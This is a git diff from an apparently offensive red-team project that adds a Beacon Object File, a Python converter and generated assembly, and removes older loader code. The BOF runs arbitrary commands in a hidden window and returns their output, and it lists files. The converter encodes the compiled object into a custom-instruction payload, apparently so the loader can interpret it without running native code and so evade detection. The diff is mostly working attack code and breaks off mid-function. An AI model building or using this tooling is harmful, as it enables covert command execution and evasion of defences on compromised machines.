diff --git "a/BOF/Compile 347円274円226円350円257円221円.bat" "b/BOF/Compile 347円274円226円350円257円221円.bat" new file mode 100644 index 0000000..291f703 --- /dev/null +++ "b/BOF/Compile 347円274円226円350円257円221円.bat" @@ -0,0 +1 @@ +clang -c bof.c -o bof.o -O2 -fno-optimize-sibling-calls -mno-avx -mno-avx2 -mno-sse -mno-sse2 -mno-sse3 -mno-ssse3 -mno-sse4 -mno-sse4.1 -mno-sse4.2 \ No newline at end of file diff --git a/BOF/FuncDecl.h b/BOF/FuncDecl.h new file mode 100644 index 0000000..b6d682f --- /dev/null +++ b/BOF/FuncDecl.h @@ -0,0 +1,34 @@ +#include +#include + +DECLSPEC_IMPORT void* MSVCRT$malloc(size_t); +DECLSPEC_IMPORT void* MSVCRT$realloc(void*, size_t); +DECLSPEC_IMPORT size_t MSVCRT$strlen(const char*); +DECLSPEC_IMPORT long MSVCRT$strtol(const char*, char**, int); +DECLSPEC_IMPORT unsigned long long MSVCRT$strtoull(const char*, char**, int); +DECLSPEC_IMPORT int MSVCRT$sprintf_s(char*, size_t, const char*, ...); + +DECLSPEC_IMPORT errno_t MSVCRT$fopen_s(FILE**, const char*, const char*); +DECLSPEC_IMPORT int MSVCRT$_fseeki64(FILE*, __int64, int); +DECLSPEC_IMPORT size_t MSVCRT$fread(void*, size_t, size_t, FILE*); +DECLSPEC_IMPORT size_t MSVCRT$fwrite(const void*, size_t, size_t, FILE*); +DECLSPEC_IMPORT int MSVCRT$fclose(FILE*); + +DECLSPEC_IMPORT int MSVCRT$rename(const char*, const char*); +DECLSPEC_IMPORT int MSVCRT$remove(const char*); + +WINBASEAPI BOOL WINAPI Kernel32$CloseHandle(HANDLE); +WINBASEAPI BOOL WINAPI Kernel32$CreateProcessA(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); +WINBASEAPI BOOL WINAPI Kernel32$CreatePipe(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD); + +WINBASEAPI BOOL WINAPI Kernel32$ReadFile(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); +WINBASEAPI HANDLE WINAPI Kernel32$FindFirstFileA(LPCSTR, LPWIN32_FIND_DATAA); +WINBASEAPI BOOL WINAPI Kernel32$FindNextFileA(HANDLE, LPWIN32_FIND_DATAA); +WINBASEAPI BOOL WINAPI Kernel32$FindClose(HANDLE); +WINBASEAPI DWORD WINAPI Kernel32$GetFullPathNameA(LPCSTR, DWORD, LPSTR, LPSTR*); +WINBASEAPI BOOL WINAPI Kernel32$FileTimeToLocalFileTime(const FILETIME*, LPFILETIME); +WINBASEAPI BOOL WINAPI Kernel32$FileTimeToSystemTime(FILETIME*, LPSYSTEMTIME); +WINBASEAPI BOOL WINAPI Kernel32$CopyFileA(LPCSTR, LPCSTR, BOOL); +WINBASEAPI BOOL WINAPI Kernel32$CreateDirectoryA(LPCSTR, LPSECURITY_ATTRIBUTES); + +WINBASEAPI int WINAPI User32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT); \ No newline at end of file diff --git a/BOF/bof.c b/BOF/bof.c new file mode 100644 index 0000000..a2d452c --- /dev/null +++ b/BOF/bof.c @@ -0,0 +1,88 @@ +#include "FuncDecl.h" + +// 执行 CMD 命令 +void ExecuteCmd$$(char* commandPara, int commandParaLen, char** pOutputData, int* pOutputDataLen, PVOID specialParaList[]) { + *pOutputData = (char*)MSVCRT$malloc(130); + MSVCRT$sprintf_s(*pOutputData, 130, "%s", "[-] CMD Failed."); + *pOutputDataLen = 15; + + HANDLE hRead, hWrite; + SECURITY_ATTRIBUTES sa; + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.bInheritHandle = TRUE; + sa.lpSecurityDescriptor = NULL; + if (!Kernel32$CreatePipe(&hRead, &hWrite, &sa, 0)) { + return; + } + + STARTUPINFOA si = { 0 }; + PROCESS_INFORMATION pi; + si.cb = sizeof(STARTUPINFOA); + si.hStdError = hWrite; + si.hStdOutput = hWrite; + si.wShowWindow = SW_HIDE; + si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; + if (!Kernel32$CreateProcessA(NULL, commandPara, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { + Kernel32$CloseHandle(hRead); + Kernel32$CloseHandle(hWrite); + return; + } + Kernel32$CloseHandle(hWrite); + Kernel32$CloseHandle(pi.hThread); + Kernel32$CloseHandle(pi.hProcess); + + MSVCRT$sprintf_s(*pOutputData, 130, "%s", "[+] Run Successful.\n"); + *pOutputDataLen = 20; + DWORD currentReadLen; + do { + Kernel32$ReadFile(hRead, *pOutputData + *pOutputDataLen, 100, ¤tReadLen, NULL); + *pOutputDataLen += currentReadLen; + *pOutputData = (char*)MSVCRT$realloc(*pOutputData, *pOutputDataLen + 100); + } while (currentReadLen != 0); + + Kernel32$CloseHandle(hRead); +} + +// 测试 BOF 内部函数调用 +void TestCall$$(int count) { + if (count) { + User32$MessageBoxA(0, "Content", "Title", MB_ICONWARNING); + TestCall$$(--count); + } +} + +// 获取文件信息列表 +void GetFileInfoList$$(char* commandPara, int commandParaLen, char** pOutputData, int* pOutputDataLen, PVOID specialParaList[]) { + *pOutputData = (char*)MSVCRT$malloc(330); + MSVCRT$sprintf_s(*pOutputData, 330, "%s", "[-] GetFileInfoList Failed."); + *pOutputDataLen = 27; + + TestCall$$(2); + + WIN32_FIND_DATAA findData; + HANDLE hFind = Kernel32$FindFirstFileA(commandPara, &findData); + if (hFind != INVALID_HANDLE_VALUE) { + if (!Kernel32$GetFullPathNameA(commandPara, MAX_PATH, *pOutputData, NULL)) { + Kernel32$FindClose(hFind); + return; + } + do { + if (*findData.cFileName != '.') { + FILETIME localFileTime; + if (!Kernel32$FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localFileTime)) { + Kernel32$FindClose(hFind); + break; + } + SYSTEMTIME systemTime; + if (!Kernel32$FileTimeToSystemTime(&localFileTime, &systemTime)) { + Kernel32$FindClose(hFind); + break; + } + char format[] = "\n%d,%s,%llu,%04d.%02d.%02d %02d:%02d:%02d"; + MSVCRT$sprintf_s(*pOutputData + MSVCRT$strlen(*pOutputData), 330, format, (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? 1 : 0, findData.cFileName, ((ULONGLONG)findData.nFileSizeHigh << 32) | findData.nFileSizeLow, systemTime.wYear, systemTime.wMonth, systemTime.wDay, systemTime.wHour, systemTime.wMinute, systemTime.wSecond); + *pOutputData = (char*)MSVCRT$realloc(*pOutputData, MSVCRT$strlen(*pOutputData) + 330); + } + } while (Kernel32$FindNextFileA(hFind, &findData)); + } + *pOutputDataLen = MSVCRT$strlen(*pOutputData); +} \ No newline at end of file diff --git a/BOF/bof.o b/BOF/bof.o new file mode 100644 index 0000000..ef9c82e Binary files /dev/null and b/BOF/bof.o differ diff --git a/Converter/Converter.py b/Converter/Converter.py index cb1956f..2bf3705 100644 --- a/Converter/Converter.py +++ b/Converter/Converter.py @@ -1,19 +1,45 @@ -from Disassembly import ParseShellCode -from GenerateSelfAsm import FormatAsm +from Disassembly import Disassembly +from GeneratePayload import GeneratePayload if __name__ == '__main__': - while True: - choice = input('1.反汇编\n2.生成自定义汇编指令\n选择: ') + print('''███╗ ██╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ███████╗ +████╗ ██║██╔═══██╗ ╚██╗██╔╝ ██╔══██╗██╔═══██╗██╔════╝ +██╔██╗ ██║██║ ██║ ╚███╔╝ ██████╔╝██║ ██║███████╗ +██║╚██╗██║██║ ██║ ██╔██╗ ██╔══██╗██║ ██║██╔════╝ +██║ ╚████║╚██████╔╝ ██╔╝ ██╗ ██████╔╝╚██████╔╝██║ +╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ +https://github.com/HackerCalico/No_X_BOF''') + print('1.反汇编\n2.生成 Payload') + choice = input('033円[94m' + 'choice: ' + '033円[0m') - if choice == '1': - with open('ShellCode.txt', 'r') as file: - shellcode = file.read().replace(' ', '').replace('\n', '') - asm = ParseShellCode(shellcode) - with open('asm.txt', 'w') as file: - shellcode = file.write(asm) - print('汇编指令生成完毕(未考虑负数,格式应为0x-1): asm.txt\n') + if choice == '1': + with open('..\\BOF\\bof.o', 'rb') as f: + bof = f.read() - elif choice == '2': - with open('asm.txt', 'r') as file: - asm = file.read() - FormatAsm(asm) \ No newline at end of file + asm, rdata, textRelocNames, bofFuncOffsetMap = Disassembly(bof) + + with open('Disassembly\\asm.txt', 'w', encoding='UTF-8') as f: + f.write(asm) + with open('Disassembly\\rdata.bin', 'wb') as f: + f.write(rdata) + with open('Disassembly\\textRelocNames.bin', 'wb') as f: + f.write(textRelocNames) + with open('Disassembly\\bofFuncOffsetMap.bin', 'wb') as f: + f.write(bofFuncOffsetMap) + print('033円[92m' + '[+] 反汇编结果生成至文件夹 Disassembly\n' + '033円[0m') + + elif choice == '2': + with open('Disassembly\\asm.txt', 'r', encoding='UTF-8') as f: + asm = f.read() + with open('Disassembly\\rdata.bin', 'rb') as f: + rdata = f.read() + with open('Disassembly\\textRelocNames.bin', 'rb') as f: + textRelocNames = f.read() + with open('Disassembly\\bofFuncOffsetMap.bin', 'rb') as f: + bofFuncOffsetMap = f.read() + + payload = GeneratePayload(asm, rdata, textRelocNames, bofFuncOffsetMap) + + with open('Payload.bin', 'wb') as f: + f.write(payload) + print('033円[92m' + '[+] Payload 生成至 Payload.bin\n' + '033円[0m') \ No newline at end of file diff --git a/Converter/Disassembly.py b/Converter/Disassembly.py index a07ce32..a17b608 100644 --- a/Converter/Disassembly.py +++ b/Converter/Disassembly.py @@ -1,26 +1,136 @@ import re -import binascii +import struct from capstone import Cs, CS_ARCH_X86, CS_MODE_64 -from GenerateSelfAsm import mnemonics +from GeneratePayload import mnemonics + +class IMAGE_FILE_HEADER: + def __init__(self, data): + self.Machine, \ + self.NumberOfSections, \ + self.TimeDateStamp, \ + self.PointerToSymbolTable, \ + self.NumberOfSymbols, \ + self.SizeOfOptionalHeader, \ + self.Characteristics \ + = struct.unpack(' 0: + raise Exception('未实现的自定义指令: ' + str(notExistMnemonics) + '\n' + asm) + return asm, rdata, textRelocNames, bofFuncOffsetMap \ No newline at end of file diff --git a/Converter/Disassembly/asm.txt b/Converter/Disassembly/asm.txt new file mode 100644 index 0000000..a3f9204 --- /dev/null +++ b/Converter/Disassembly/asm.txt @@ -0,0 +1,260 @@ +0x0_push_r15 +0x2_push_r14 +0x4_push_rsi +0x5_push_rdi +0x6_push_rbx +0x7_sub_rsp, 0x100 +0xe_mov_rsi, r9 +0x11_mov_rdi, r8 +0x14_mov_rbx, rcx +0x17_mov_ecx, 0x82 +0x1c_call_qword ptr [rip] +0x22_mov_qword ptr [rdi], rax +0x25_lea_r8, [rip] +0x2c_lea_r9, [rip + 0x3] +0x33_mov_edx, 0x82 +0x38_mov_rcx, rax +0x3b_call_qword ptr [rip] +0x41_mov_dword ptr [rsi], 0xf +0x47_mov_dword ptr [rsp + 0x68], 0x18 +0x4f_mov_dword ptr [rsp + 0x78], 0x1 +0x57_mov_qword ptr [rsp + 0x70], 0x0 +0x60_lea_rcx, [rsp + 0x60] +0x65_lea_rdx, [rsp + 0x58] +0x6a_lea_r8, [rsp + 0x68] +0x6f_xor_r9d, r9d +0x72_call_qword ptr [rip] +0x78_test_eax, eax +0x7a_je_0x255 +0x80_mov_qword ptr [rsp + 0xd0], 0x0 +0x8c_mov_qword ptr [rsp + 0xc8], 0x0 +0x98_mov_qword ptr [rsp + 0xc0], 0x0 +0xa4_mov_qword ptr [rsp + 0xb8], 0x0 +0xb0_mov_qword ptr [rsp + 0xb0], 0x0 +0xbc_mov_qword ptr [rsp + 0xa8], 0x0 +0xc8_mov_qword ptr [rsp + 0xa0], 0x0 +0xd4_mov_qword ptr [rsp + 0x98], 0x0 +0xe0_mov_qword ptr [rsp + 0x90], 0x0 +0xec_mov_qword ptr [rsp + 0x88], 0x0 +0xf8_mov_qword ptr [rsp + 0x80], 0x0 +0x104_mov_dword ptr [rsp + 0x80], 0x68 +0x10f_mov_rax, qword ptr [rsp + 0x58] +0x114_mov_qword ptr [rsp + 0xe0], rax +0x11c_mov_qword ptr [rsp + 0xd8], rax +0x124_mov_word ptr [rsp + 0xc0], 0x0 +0x12e_mov_dword ptr [rsp + 0xbc], 0x101 +0x139_lea_rax, [rsp + 0xe8] +0x141_mov_qword ptr [rsp + 0x48], rax +0x146_lea_rax, [rsp + 0x80] +0x14e_mov_qword ptr [rsp + 0x40], rax +0x153_mov_qword ptr [rsp + 0x38], 0x0 +0x15c_mov_qword ptr [rsp + 0x30], 0x0 +0x165_mov_dword ptr [rsp + 0x28], 0x0 +0x16d_mov_dword ptr [rsp + 0x20], 0x1 +0x175_xor_ecx, ecx +0x177_mov_rdx, rbx +0x17a_xor_r8d, r8d +0x17d_xor_r9d, r9d +0x180_call_qword ptr [rip] +0x186_test_eax, eax +0x188_je_0x240 +0x18e_mov_rcx, qword ptr [rsp + 0x58] +0x193_mov_rbx, qword ptr [rip] +0x19a_call_rbx +0x19c_mov_rcx, qword ptr [rsp + 0xf0] +0x1a4_call_rbx +0x1a6_mov_rcx, qword ptr [rsp + 0xe8] +0x1ae_call_rbx +0x1b0_mov_rcx, qword ptr [rdi] +0x1b3_lea_r8, [rip] +0x1ba_lea_r9, [rip + 0x13] +0x1c1_mov_edx, 0x82 +0x1c6_call_qword ptr [rip] +0x1cc_mov_dword ptr [rsi], 0x14 +0x1d2_mov_rax, qword ptr [rdi] +0x1d5_lea_rbx, [rsp + 0x54] +0x1da_mov_r14, qword ptr [rip] +0x1e1_mov_r15, qword ptr [rip] +0x1e8_nop_dword ptr [rax + rax] +0x1f0_mov_rcx, qword ptr [rsp + 0x60] +0x1f5_movsxd_rdx, dword ptr [rsi] +0x1f8_add_rdx, rax +0x1fb_mov_qword ptr [rsp + 0x20], 0x0 +0x204_mov_r8d, 0x64 +0x20a_mov_r9, rbx +0x20d_call_r14 +0x210_mov_eax, dword ptr [rsp + 0x54] +0x214_mov_edx, dword ptr [rsi] +0x216_lea_ecx, [rdx + rax] +0x219_mov_dword ptr [rsi], ecx +0x21b_mov_rcx, qword ptr [rdi] +0x21e_add_eax, edx +0x220_add_eax, 0x64 +0x223_movsxd_rdx, eax +0x226_call_r15 +0x229_mov_qword ptr [rdi], rax +0x22c_cmp_dword ptr [rsp + 0x54], 0x0 +0x231_jne_0x1f0 +0x233_mov_rcx, qword ptr [rsp + 0x60] +0x238_call_qword ptr [rip] +0x23e_jmp_0x255 +0x240_mov_rcx, qword ptr [rsp + 0x60] +0x245_mov_rsi, qword ptr [rip] +0x24c_call_rsi +0x24e_mov_rcx, qword ptr [rsp + 0x58] +0x253_call_rsi +0x255_nop_ +0x256_add_rsp, 0x100 +0x25d_pop_rbx +0x25e_pop_rdi +0x25f_pop_rsi +0x260_pop_r14 +0x262_pop_r15 +0x264_ret_ +0x265_nop_word ptr cs:[rax + rax] +0x270_push_rsi +0x271_sub_rsp, 0x20 +0x275_test_ecx, ecx +0x277_je_0x2a0 +0x279_mov_esi, ecx +0x27b_lea_rdx, [rip + 0x28] +0x282_lea_r8, [rip + 0x30] +0x289_xor_ecx, ecx +0x28b_mov_r9d, 0x30 +0x291_call_qword ptr [rip] +0x297_dec_esi +0x299_mov_ecx, esi +0x29b_call_0x270 +0x2a0_nop_ +0x2a1_add_rsp, 0x20 +0x2a5_pop_rsi +0x2a6_ret_ +0x2a7_nop_word ptr [rax + rax] +0x2b0_push_r15 +0x2b2_push_r14 +0x2b4_push_r13 +0x2b6_push_r12 +0x2b8_push_rsi +0x2b9_push_rdi +0x2ba_push_rbp +0x2bb_push_rbx +0x2bc_sub_rsp, 0x1f8 +0x2c3_mov_rsi, r9 +0x2c6_mov_rdi, r8 +0x2c9_mov_r14, rcx +0x2cc_mov_ecx, 0x14a +0x2d1_call_qword ptr [rip] +0x2d7_mov_qword ptr [rdi], rax +0x2da_lea_r8, [rip] +0x2e1_lea_r9, [rip + 0x36] +0x2e8_mov_edx, 0x14a +0x2ed_mov_rcx, rax +0x2f0_call_qword ptr [rip] +0x2f6_mov_qword ptr [rsp + 0x78], rsi +0x2fb_mov_dword ptr [rsi], 0x1b +0x301_mov_ecx, 0x2 +0x306_call_0x270 +0x30b_lea_rdx, [rsp + 0xb8] +0x313_mov_rcx, r14 +0x316_call_qword ptr [rip] +0x31c_cmp_rax, 0x-1 +0x320_je_0x4e6 +0x326_mov_rbx, rax +0x329_mov_r8, qword ptr [rdi] +0x32c_mov_rcx, r14 +0x32f_mov_edx, 0x104 +0x334_xor_r9d, r9d +0x337_call_qword ptr [rip] +0x33d_test_eax, eax +0x33f_je_0x4d2 +0x345_lea_r15, [rsp + 0xb8] +0x34d_mov_r13, qword ptr [rip] +0x354_lea_r12, [rsp + 0xb0] +0x35c_mov_rsi, qword ptr [rip] +0x363_jmp_0x381 +0x365_nop_word ptr cs:[rax + rax] +0x370_mov_rcx, rbx +0x373_mov_rdx, r15 +0x376_call_r13 +0x379_test_eax, eax +0x37b_je_0x4e6 +0x381_cmp_byte ptr [rsp + 0xe4], 0x2e +0x389_je_0x370 +0x38b_lea_rcx, [rsp + 0xcc] +0x393_mov_rdx, r12 +0x396_call_qword ptr [rip] +0x39c_test_eax, eax +0x39e_je_0x4dd +0x3a4_mov_rcx, r12 +0x3a7_lea_rdx, [rsp + 0x68] +0x3ac_call_qword ptr [rip] +0x3b2_test_eax, eax +0x3b4_je_0x4dd +0x3ba_movabs_rax, 0x3230253a64323025 +0x3c4_mov_qword ptr [rsp + 0xa0], rax +0x3cc_movabs_rax, 0x3a64323025206432 +0x3d6_mov_qword ptr [rsp + 0x98], rax +0x3de_movabs_rax, 0x30252e643230252e +0x3e8_mov_qword ptr [rsp + 0x90], rax +0x3f0_movabs_rax, 0x643430252c756c6c +0x3fa_mov_qword ptr [rsp + 0x88], rax +0x402_movabs_rax, 0x252c73252c64250a +0x40c_mov_qword ptr [rsp + 0x80], rax +0x414_mov_word ptr [rsp + 0xa8], 0x64 +0x41e_mov_r14, qword ptr [rdi] +0x421_mov_rcx, r14 +0x424_call_rsi +0x426_add_r14, rax +0x429_mov_r9d, dword ptr [rsp + 0xb8] +0x431_mov_eax, dword ptr [rsp + 0xd4] +0x438_shr_r9d, 0x4 +0x43c_and_r9d, 0x1 +0x440_shl_rax, 0x20 +0x444_mov_ecx, dword ptr [rsp + 0xd8] +0x44b_or_rcx, rax +0x44e_movzx_eax, word ptr [rsp + 0x68] +0x453_movzx_edx, word ptr [rsp + 0x6a] +0x458_movzx_r8d, word ptr [rsp + 0x6e] +0x45e_movzx_r10d, word ptr [rsp + 0x70] +0x464_movzx_r11d, word ptr [rsp + 0x72] +0x46a_movzx_ebp, word ptr [rsp + 0x74] +0x46f_mov_dword ptr [rsp + 0x58], ebp +0x473_mov_dword ptr [rsp + 0x50], r11d +0x478_mov_dword ptr [rsp + 0x48], r10d +0x47d_mov_dword ptr [rsp + 0x40], r8d +0x482_mov_dword ptr [rsp + 0x38], edx +0x486_mov_dword ptr [rsp + 0x30], eax +0x48a_mov_qword ptr [rsp + 0x28], rcx +0x48f_lea_rax, [rsp + 0xe4] +0x497_mov_qword ptr [rsp + 0x20], rax +0x49c_mov_edx, 0x14a +0x4a1_mov_rcx, r14 +0x4a4_lea_r8, [rsp + 0x80] +0x4ac_call_qword ptr [rip] +0x4b2_mov_r14, qword ptr [rdi] +0x4b5_mov_rcx, r14 +0x4b8_call_rsi +0x4ba_lea_rdx, [rax + 0x14a] +0x4c1_mov_rcx, r14 +0x4c4_call_qword ptr [rip] +0x4ca_mov_qword ptr [rdi], rax +0x4cd_jmp_0x370 +0x4d2_mov_rcx, rbx +0x4d5_call_qword ptr [rip] +0x4db_jmp_0x4f6 +0x4dd_mov_rcx, rbx +0x4e0_call_qword ptr [rip] +0x4e6_mov_rcx, qword ptr [rdi] +0x4e9_call_qword ptr [rip] +0x4ef_mov_rcx, qword ptr [rsp + 0x78] +0x4f4_mov_dword ptr [rcx], eax +0x4f6_add_rsp, 0x1f8 +0x4fd_pop_rbx +0x4fe_pop_rbp +0x4ff_pop_rdi +0x500_pop_rsi +0x501_pop_r12 +0x503_pop_r13 +0x505_pop_r14 +0x507_pop_r15 +0x509_ret_ diff --git a/Converter/Disassembly/bofFuncOffsetMap.bin b/Converter/Disassembly/bofFuncOffsetMap.bin new file mode 100644 index 0000000..5896890 Binary files /dev/null and b/Converter/Disassembly/bofFuncOffsetMap.bin differ diff --git a/Converter/Disassembly/rdata.bin b/Converter/Disassembly/rdata.bin new file mode 100644 index 0000000..3210c21 Binary files /dev/null and b/Converter/Disassembly/rdata.bin differ diff --git a/Converter/Disassembly/textRelocNames.bin b/Converter/Disassembly/textRelocNames.bin new file mode 100644 index 0000000..f3a8a97 Binary files /dev/null and b/Converter/Disassembly/textRelocNames.bin differ diff --git a/Converter/GeneratePayload.py b/Converter/GeneratePayload.py new file mode 100644 index 0000000..c971ecc --- /dev/null +++ b/Converter/GeneratePayload.py @@ -0,0 +1,109 @@ +import re +import struct + +reg64 = ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi', 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15', 'rsp', 'rbp'] +reg32 = ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'r8d', 'r9d', 'r10d', 'r11d', 'r12d', 'r13d', 'r14d', 'r15d', 'esp', 'ebp'] +reg16 = ['ax', 'bx', 'cx', 'dx', 'si', 'di', 'r8w', 'r9w', 'r10w', 'r11w', 'r12w', 'r13w', 'r14w', 'r15w', 'sp', 'bp'] +regLow8 = ['al', 'bl', 'cl', 'dl', 'sil', 'dil', 'r8b', 'r9b', 'r10b', 'r11b', 'r12b', 'r13b', 'r14b', 'r15b', 'spl', 'bpl'] + +mnemonics = ['push', 'pop', 'call', 'ret', 'movzx', 'movsxd', 'cmp', 'test', 'shl', 'shr', 'nop', 'mov', 'movabs', 'lea', 'add', 'inc', 'sub', 'dec', 'and', 'or', 'xor', 'jmp', 'je', 'jne', 'jbe', 'jl', 'jge', 'jle'] + +def FormatOp(op): + # 不存在 / 立即数 + if op == '' or op[0] == 'i': + return b'?', op + + # 寄存器 -> 相对偏移 + if '[' not in op: + if op == 'rip': + return b'q', 'r0000000000000000' + if op in reg64: + return b'q', 'q' + hex(reg64.index(op) * 8)[2:] + if op in reg32: + return b'd', 'd' + hex(reg32.index(op) * 8)[2:] + if op in reg16: + return b'w', 'w' + hex(reg16.index(op) * 8)[2:] + if op in regLow8: + return b'b', 'b' + hex(regLow8.index(op) * 8)[2:] + + opBit = b'?' + if 'ptr' in op: + if 'qword' in op: + opBit = b'q' + elif 'dword' in op: + opBit = b'd' + elif 'word' in op: + opBit = b'w' + elif 'byte' in op: + opBit = b'b' + + # [寄存器] -> [相对偏移] + words = op.replace('[', '').replace(']', '').split(' ') + for word in words: + if word == 'rip': + op = op.replace(word, 'r0000000000000000') + elif word in reg64: + op = op.replace(word, 'q' + hex(reg64.index(word) * 8)[2:]) + elif word in reg32: + op = op.replace(word, 'd' + hex(reg32.index(word) * 8)[2:]) + elif word in reg16: + op = op.replace(word, 'w' + hex(reg16.index(word) * 8)[2:]) + elif word in regLow8: + op = op.replace(word, 'b' + hex(regLow8.index(word) * 8)[2:]) + + # [相对偏移] -> l相对偏移 + op = re.sub(r'^(\[.+\])', lambda match: 'l' + match.group(1).replace('[', '').replace(']', ''), op) + # xxx ptr [相对偏移] -> p相对偏移 + op = re.sub(r'.+(\[.+\])', lambda match: 'p' + match.group(1).replace('[', '').replace(']', ''), op) + return opBit, op.replace(' ', '') + +def FormatAsm(asm): + if '*' in asm: + raise Exception('无法处理 [] 中的 *') + asm = asm.replace('+', '++').replace('- ', '-- ') + + selfAsm = b'' + for instruction in asm.split('\n'): + asmInfo = instruction.split('_') + if len(asmInfo) != 3: + if len(instruction) != 0: + raise Exception('无法处理汇编指令: ' + instruction) + else: + continue + + address = struct.pack(' i立即数 + ops = asmInfo[2].replace('0x', 'i').split(', ') + if len(ops) == 1: + ops += [''] + if len(ops) != 2: + raise Exception('只能处理 1 ~ 2 个操作数的汇编指令: ' + instruction) + + opBit1, op1 = FormatOp(ops[0]) + opBit2, op2 = FormatOp(ops[1]) + # 无法直接确定 op1 位数的情况: 立即数、不存在 + if opBit1 == b'?': + opBit1 = b'q' + # 无法直接确定 op2 位数的情况: lea、立即数、不存在 + if opBit2 == b'?': + opBit2 = opBit1 + + selfAsm += address + mnemonic + opBit1 + op1.encode() + b'\x00' + opBit2 + op2.encode() + b'\x00' + return selfAsm + +def GeneratePayload(asm, rdata, textRelocNames, bofFuncOffsetMap): + selfAsm = FormatAsm(asm) + + print('请手动在 Instruction.cpp 的 InvokeInstruction 函数开头定义:\nconst int ', end='') + for i in range(len(mnemonics)): + print(f'{mnemonics[i]}Index = {i}', end='') + if i < len(mnemonics)-1: + print(', ', end='') + print(f';\nif (mnemonicIndex < 0 || mnemonicIndex> {len(mnemonics)-1}) ' + '{\nreturn 2;\n}') + + bofFuncOffsetMap = struct.pack(' -#include - -using namespace std; - -/* -* 1.C/C++ -* 常规: SDL检查(否) -* 优化: 优化(已禁用) -* 代码生成: 运行库(多线程)、安全检查(禁用安全检查) -* 2.链接器 -* 清单文件: 生成清单(否) -* 调试: 生成调试信息(否) -*/ - -typedef void* (WINAPI* pMalloc)(size_t); -typedef void* (WINAPI* pRealloc)(void*, size_t); -typedef BOOL(WINAPI* pCreatePipe)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD); -typedef BOOL(WINAPI* pCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); -typedef BOOL(WINAPI* pCloseHandle)(HANDLE); -typedef BOOL(WINAPI* pReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); - -#pragma code_seg(".shell") - -// 执行 CMD 命令 -void ExecuteCmd(char* commandPara, char** pCommandOutput, int* pCommandOutputLength, PVOID* pFuncAddr) { - HANDLE hRead, hWrite; - SECURITY_ATTRIBUTES sa; - sa.nLength = sizeof(SECURITY_ATTRIBUTES); - sa.bInheritHandle = TRUE; - sa.lpSecurityDescriptor = NULL; - if (!((pCreatePipe)(pFuncAddr[2]))(&hRead, &hWrite, &sa, 0)) { - return; - } - - STARTUPINFOA si = { 0 }; - PROCESS_INFORMATION pi; - si.cb = sizeof(STARTUPINFOA); - si.hStdError = hWrite; - si.hStdOutput = hWrite; - si.wShowWindow = SW_HIDE; - si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; - if (!((pCreateProcessA)(pFuncAddr[3]))(NULL, commandPara, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { - ((pCloseHandle)(pFuncAddr[4]))(hRead); - ((pCloseHandle)(pFuncAddr[4]))(hWrite); - return; - } - ((pCloseHandle)(pFuncAddr[4]))(hWrite); - ((pCloseHandle)(pFuncAddr[4]))(pi.hThread); - ((pCloseHandle)(pFuncAddr[4]))(pi.hProcess); - - *pCommandOutputLength = 0; - DWORD currentReadLength; - *pCommandOutput = (char*)((pMalloc)(pFuncAddr[0]))(250); - while (((pReadFile)(pFuncAddr[5]))(hRead, *pCommandOutput + *pCommandOutputLength, 100, ¤tReadLength, NULL) && currentReadLength != 0) { - *pCommandOutputLength += currentReadLength; - if (*pCommandOutputLength> 100) { - *pCommandOutput = (char*)((pRealloc)(pFuncAddr[1]))(*pCommandOutput, *pCommandOutputLength + 100); - } - } - ((pCloseHandle)(pFuncAddr[4]))(hRead); -} - -#pragma code_seg(".text") - -int main() { - char commandPara[] = "cmd /c tasklist"; - char* commandOutput; - int commandOutputLength; - PVOID funcAddr[] = { malloc, realloc, CreatePipe, CreateProcessA, CloseHandle, ReadFile }; - ExecuteCmd(commandPara, &commandOutput, &commandOutputLength, funcAddr); - - *(commandOutput + commandOutputLength) = '0円'; - cout << commandOutput; -} \ No newline at end of file diff --git a/Loader/Instruction.cpp b/Loader/Instruction.cpp deleted file mode 100644 index 9c04372..0000000 --- a/Loader/Instruction.cpp +++ /dev/null @@ -1,428 +0,0 @@ -#include -#include - -using namespace std; - -void Push(DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) { - pVtRegs[14] -= sizeof(DWORD_PTR); - *(PDWORD_PTR)(pVtRegs[14]) = *(PDWORD_PTR)(opAddr1); -} - -void Pop(DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) { - *(PDWORD_PTR)(opAddr1) = *(PDWORD_PTR)(pVtRegs[14]); - pVtRegs[14] += sizeof(DWORD_PTR); -} - -void Call(DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) { - // ������ɻջ��ջ�� - DWORD_PTR realRSP; - DWORD_PTR realRBP; - __asm { - mov realRSP, rsp - mov realRBP, rbp - } - - // Window API ��ַ - DWORD_PTR winApiAddr = *(PDWORD_PTR)opAddr1; - - // �����Ĵ��� ���� ��ɻ�Ĵ��� - DWORD_PTR vtRAX = pVtRegs[0]; - DWORD_PTR vtRBX = pVtRegs[1]; - DWORD_PTR vtRCX = pVtRegs[2]; - DWORD_PTR vtRDX = pVtRegs[3]; - DWORD_PTR vtRSI = pVtRegs[4]; - DWORD_PTR vtRDI = pVtRegs[5]; - DWORD_PTR vtR8 = pVtRegs[6]; - DWORD_PTR vtR9 = pVtRegs[7]; - DWORD_PTR vtR10 = 